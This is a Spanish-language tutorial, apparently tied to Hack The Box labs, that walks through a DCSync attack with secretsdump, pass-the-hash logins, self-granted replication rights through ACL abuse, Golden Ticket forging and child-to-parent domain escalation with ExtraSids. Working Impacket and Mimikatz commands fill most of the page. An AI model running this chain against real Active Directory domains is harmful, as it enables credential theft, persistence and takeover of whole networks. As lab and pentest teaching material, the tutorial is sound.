DCSync y Golden Ticket: volcar el dominio y saltar al dominio padre
Ataque DCSync paso a paso con secretsdump: quién puede hacerlo, cómo usar los hashes, forjar un Golden Ticket con ticketer y escalar de un dominio hijo al bosque con ExtraSids.
DCSync es el final de casi todas las máquinas de Active Directory: le pides al controlador de dominio, como si fueras otro controlador, que te replique las contraseñas de las cuentas que quieras. No necesitas ejecutar nada en el DC ni tocar LSASS; basta con una cuenta que tenga los permisos de replicación. Con el hash de krbtgt que te devuelve puedes además forjar un Golden Ticket y, si hay un dominio padre, saltar a él.
Lo mínimo que tienes que saber
- La replicación entre controladores usa el protocolo MS-DRSR. Pedirla exige dos permisos sobre el objeto del dominio: DS-Replication-Get-Changes y DS-Replication-Get-Changes-All.
- Los tienen Domain Admins, Enterprise Admins, Administrators y las cuentas de los propios DC. En HTB, lo interesante es cuando se los han dado a una cuenta normal o cuando puedes dártelos tú con un abuso de ACL.
- El resultado son hashes NT, que no hace falta crackear: se usan directamente con pass-the-hash.
- El hash de krbtgt firma todos los tickets de Kerberos del dominio. Quien lo tiene puede fabricar tickets para cualquier usuario: eso es un Golden Ticket.
Requisitos
- Impacket (
secretsdump,ticketer,lookupsid,psexec) y NetExec. - Una cuenta con los permisos de replicación: contraseña, hash NT o ticket de Kerberos.
- La hora sincronizada con el DC si vas a usar Kerberos:
sudo ntpdate 10.10.10.175(ofaketime). - Para practicar: Sauna y Forest, las dos fáciles.
Paso 1: quién puede hacer DCSync
La forma rápida es BloodHound: busca aristas DCSync, GetChanges y GetChangesAll hacia el nodo del dominio, o lanza la consulta Find Principals with DCSync Rights.
Sin BloodHound, lee la ACL del dominio con dacledit de Impacket:
impacket-dacledit -action read -target-dn 'DC=EGOTISTICAL-BANK,DC=LOCAL' \
-principal svc_loanmgr 'EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23'
[*] ACE[3] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] Object type (GUID) : DS-Replication-Get-Changes-All (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
[*] Trustee (SID) : svc_loanmgr (S-1-5-21-...-1108)
En Sauna la cuenta de servicio svc_loanmgr, cuya contraseña está en el autologon del registro, tiene justo esos dos permisos.
Paso 2: volcar los hashes
Con la cuenta, pide al DC el hash del administrador:
impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:[email protected]' \
-just-dc-user Administrator
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<hash NT>:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:<clave AES>
El hash NT es el cuarto campo. Las opciones que más vas a usar:
| Opción | Para qué |
|---|---|
-just-dc-user krbtgt |
Solo una cuenta |
-just-dc-ntlm |
Todo el dominio, solo los hashes NT (sin claves Kerberos) |
-history |
También las contraseñas anteriores de cada cuenta |
-user-status |
Marca las cuentas deshabilitadas |
-hashes :<NT> |
Autenticarte con hash en vez de contraseña |
-k -no-pass |
Autenticarte con el ticket de KRB5CCNAME |
Truco
Desde una sesión en Windows, lo mismo con Mimikatz: lsadump::dcsync /domain:egotistical-bank.local /user:Administrator. Es lo que se usa en Blazorized.
Paso 3: usar el hash
No hace falta crackearlo. Compruébalo y entra:
nxc smb 10.10.10.175 -u Administrator -H <hash NT>
impacket-psexec EGOTISTICAL-BANK.LOCAL/[email protected] -hashes :<hash NT>
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\Administrator:<hash> (Pwn3d!)
(Pwn3d!) significa que eres administrador local en ese equipo. Si psexec lo bloquea el antivirus, usa wmiexec o Evil-WinRM (evil-winrm -i 10.10.10.175 -u Administrator -H <hash>).
Cuando no tienes el permiso, pero puedes dártelo
Es el caso de Forest: tu usuario está en Account Operators, así que puedes crear un usuario y meterlo en el grupo Exchange Windows Permissions, que tiene WriteDacl sobre el dominio. Con WriteDacl te concedes los permisos de replicación:
impacket-dacledit -action write -rights DCSync -principal pwn \
-target-dn 'DC=HTB,DC=LOCAL' 'HTB.LOCAL/pwn:Password123!'
impacket-secretsdump 'HTB.LOCAL/pwn:[email protected]' -just-dc-user Administrator
Los grupos como Account Operators están explicados en grupos privilegiados de Windows.
Paso 4: Golden Ticket
El hash de krbtgt te da persistencia: aunque cambien la contraseña del administrador, puedes fabricar un ticket válido para él. Necesitas el hash de krbtgt (o mejor su clave AES), el SID del dominio y su nombre.
impacket-secretsdump 'HTB.LOCAL/[email protected]' -hashes :<hash NT> -just-dc-user krbtgt
impacket-lookupsid 'HTB.LOCAL/[email protected]' -hashes :<hash NT> 0
[*] Domain SID is: S-1-5-21-3072663084-364016917-1341370565
Forja el ticket y úsalo:
impacket-ticketer -aesKey <clave AES de krbtgt> -domain-sid S-1-5-21-3072663084-364016917-1341370565 \
-domain htb.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass htb.local/[email protected]
ticketer deja el ticket en Administrator.ccache. Con -nthash en vez de -aesKey también funciona, pero un ticket con RC4 es más fácil de detectar en una auditoría real.
Cuidado
Con Kerberos tienes que usar el nombre del equipo (forest.htb.local), no la IP, y ese nombre tiene que resolverse: añádelo a /etc/hosts. Y forja el ticket para un usuario que exista: los DC actualizados rechazan tickets de usuarios inventados.
Paso 5: del dominio hijo al dominio padre
Un bosque de AD puede tener varios dominios con relaciones de confianza (trusts). Enuméralas:
nltest /domain_trusts
Get-ADTrust -Filter * | Select Name,Direction,TrustType
O con NetExec desde Linux: nxc ldap 10.10.10.10 -u usuario -p contraseña -M enum_trusts.
Si eres Domain Admin de un dominio hijo (hijo.corp.local), puedes serlo del padre (corp.local). El truco es el campo ExtraSids del ticket: forjas un Golden Ticket del hijo que dice que también perteneces a Enterprise Admins del padre (su SID acabado en -519). Dentro del mismo bosque, el padre se lo cree.
impacket-ticketer -nthash <krbtgt del hijo> -domain-sid <SID del hijo> -domain hijo.corp.local \
-extra-sid <SID del padre>-519 Administrator
Impacket lo automatiza entero con raiseChild:
impacket-raiseChild hijo.corp.local/Administrator -hashes :<hash NT>
En Ghost el salto se hace con la clave de la relación de confianza (la cuenta GHOST$) en lugar del krbtgt; en DarkZero el otro dominio está en otro bosque y el camino pasa por la delegación de Kerberos.
Nota
Entre bosques distintos, el SID filtering descarta los SID privilegiados del ExtraSids. Por eso el truco del -519 funciona de hijo a padre pero no hacia un bosque de confianza.
Errores típicos
KRB_AP_ERR_SKEW(Clock skew too great): tu reloj no coincide con el del DC.sudo ntpdate <IP del DC>y repite.ERROR_DS_DRA_BAD_DNorpc_s_access_deniedensecretsdump: la cuenta no tiene los permisos de replicación o el nombre del dominio está mal escrito. Revisa el Paso 1.KDC_ERR_TGT_REVOKEDcon un Golden Ticket: el usuario no existe en el dominio. Fórjalo para un usuario real comoAdministrator.KDC_ERR_S_PRINCIPAL_UNKNOWNal usar-k: estás usando la IP en vez del nombre, o el nombre no está en/etc/hosts.- El hash funciona en SMB pero no en WinRM: el usuario no está en Remote Management Users. Usa
psexecowmiexec.
Y después
Guarda el camino completo de BloodHound como evidencia para el informe (informe de pentest). Tienes estos pasos en la parte final de la checklist de Active Directory y más máquinas en las mejores máquinas de HTB para Active Directory.